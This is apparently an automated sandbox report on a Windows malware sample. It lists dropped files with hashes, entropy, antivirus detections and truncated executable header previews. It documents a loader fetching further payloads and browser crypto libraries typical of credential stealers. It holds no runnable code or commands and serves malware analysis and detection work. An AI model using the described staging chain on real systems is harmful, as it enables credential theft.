Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9c573f8941.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1816064
Entropy (8bit):	7.945730233203151
Encrypted:	false
SSDEEP:	49152:IAd7UyBBFUC9QgqN7TCot/mbYGiVtr/1VwFEH:IAxUyBBhQg47NZGiH1V
MD5:	3F78E574CEB89348CF3AF90C3A63BF20
SHA1:	6FC220D8237C163947ADFEA2F7E643B8535A2450
SHA-256:	200F25B055E75AB01B7B34120001B35682ECDA95F704E5F0645280B3FC421B38
SHA-512:	F3A8873737D9C338BE9142279FB083950D1456732FF5790884D2C5FF6B91C8B739CBA08B03ED72C539C6497091951B624CC2C0BAB54DCE8665AAA2CAD315F0CD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........i...........@...........................i......)....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..*...$......\|..............@...xokcbvfd. ....O......~..............@...ingsbras......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2771456
Entropy (8bit):	6.4739597301324014
Encrypted:	false
SSDEEP:	24576:pCVEHemzQ3d6wjoqy/94/gQp9sorK2kSiFx16UYBTXcC/3zVKjBT9SKtbrQDK8io:imQd6qoQT9r9kNGTXPVqJkK4iRZ305
MD5:	3C5C05EE39EA385BC626531B4F5F5DBD
SHA1:	86495EF8DE316F62BE630E035E8F01DA587A372E
SHA-256:	3BCD6CEA79DB7594B29B8FEA202D579226C29C7390812989F368DDD92578C43D
SHA-512:	0540DFA8A577AF5F6B537CD26B7A541C8935BBD51E66CED520EF44AAF39C28EF8BA39B434F9C4CC82ACB5079E5A6CA75931D14D65BB7136A4C713BEB4F97F735
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......)+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...clroiqwq.........)..:..............@...jwelxfrk. ..........$.............@....taggant.@......"...(.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\key[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1966080
Entropy (8bit):	7.935055391266163
Encrypted:	false
SSDEEP:	49152:pUoHhHRVeu+IIZoonat2m8GRMZpM0IKyNa:HHnVexGEg2mfMHDIR
MD5:	F7A47830F40CC4B6A06D777FAB2F42F9
SHA1:	5302227FBAC3AEA59D3AA18DC1E429EBE448C732
SHA-256:	8A331CA76C2B919F30406FF66A92DB0E27AE6AF9725749A80959B42656871536
SHA-512:	67251194DB27BBB06CC3638C7FD453CC66F54B6E9AA1421CBD05BA5AA410F333B83F5587186BBD0B2026F05DA1119EED68C8CFA64511B9C4D81D9A13D9634F1B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d.............................P............@.................................h.......................................Z.B.n.....@.h!..................................................0....................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... .@).. B.....................@...klrfnhju.....`k.....................@...auusyycz.....@......................@....taggant.0...P..."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1838080
Entropy (8bit):	7.949435567437425
Encrypted:	false
SSDEEP:	49152:2uKaMEpt/xkoQ63mK8d0GyeK9d00nlIUq8rAI8NSx9vZ:JXPxjQ63fO0GyeWAe3
MD5:	1524DA94FEEEBB2A921C3065F4DA2383
SHA1:	68AD3EDC97D668005F47AC76D5A0F8397D24B8CB
SHA-256:	4228F1C544520402CA8D8120ACA88167F1B23CCB2EFB536FE668DC6DD0BC267C
SHA-512:	46988B61B3B9AD9AEBBD860C1B6A4BC2587E0726B498B2BCDF688E200471EA5B08CC68A7404E7D2D85F199EF498AF455B9288D3612B842BDF13F7B3EDBDE2EA6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................H...........@...........................H......C....@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... ..)..P.......X..............@...rmyngibq..... /......Z..............@...qytqqcga......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3230720
Entropy (8bit):	6.698677325526065
Encrypted:	false
SSDEEP:	49152:Ls7yQjSwwgB8Z42x/g/iWWG9uWKcMeEVevC5NQ5zsbG:ujSwwgGZ4vKwwqEVetWG
MD5:	1AAF3E2606D14DB0A9B98489236C9E46
SHA1:	A2C7000CC1D007E6E15E855CC2C759009FD456A5
SHA-256:	32E07D777EAE1DD0ECED61981C34BDC5058D067C090E7535D1B899F8E5AF8A24
SHA-512:	2A91ADA961CBC38E99013E8D421A4716A0308463E4A755AB6836EF9ACC51594E5A8DCFDDF0A78E47C92744DEDB55724BD72BEBD0EDD2B56BB51216DDD6594FB7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....o.2...@.................................W...k............................=1.............................t=1..................................................... . ............................@....rsrc...............................@....idata ............................@...azhnnvna..........................@...slqbrtle.....@1......$1.............@....taggant.0...P1.."...*1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	973312
Entropy (8bit):	6.709619140842053
Encrypted:	false
SSDEEP:	24576:QqDEvCTbMWu7rQYlBQcBiT6rprG8a9AsrY:QTvC/MTQYxsWR7a9
MD5:	6D38511BC3DC5EB936761AD513D0C896
SHA1:	F0577B03F70A0C7633D5A09614645BDBAA068E6B
SHA-256:	4EC52B8B214D74FFFEA15733B10391C5701583992192C37EAD9174A316F942DC
SHA-512:	F66E91FDFB93CE97E917D4A3C8A7B380C0A460232C97563E343C0A4F9656474F3CC42440B2C5D5898F7317BE3864B3D03BBC4E5F79DC37C452106EC683867CEF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L...H>Wg.........."................w.............@..........................0.......)....@...@.......@.....................d...\|....@...o.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....o...@...p..................@..@.reloc...u.......v...d..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1966080
Entropy (8bit):	7.935055391266163
Encrypted:	false
SSDEEP:	49152:pUoHhHRVeu+IIZoonat2m8GRMZpM0IKyNa:HHnVexGEg2mfMHDIR
MD5:	F7A47830F40CC4B6A06D777FAB2F42F9
SHA1:	5302227FBAC3AEA59D3AA18DC1E429EBE448C732
SHA-256:	8A331CA76C2B919F30406FF66A92DB0E27AE6AF9725749A80959B42656871536
SHA-512:	67251194DB27BBB06CC3638C7FD453CC66F54B6E9AA1421CBD05BA5AA410F333B83F5587186BBD0B2026F05DA1119EED68C8CFA64511B9C4D81D9A13D9634F1B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d.............................P............@.................................h.......................................Z.B.n.....@.h!..................................................0....................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... .@).. B.....................@...klrfnhju.....`k.....................@...auusyycz.....@......................@....taggant.0...P..."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1838080
Entropy (8bit):	7.949435567437425
Encrypted:	false
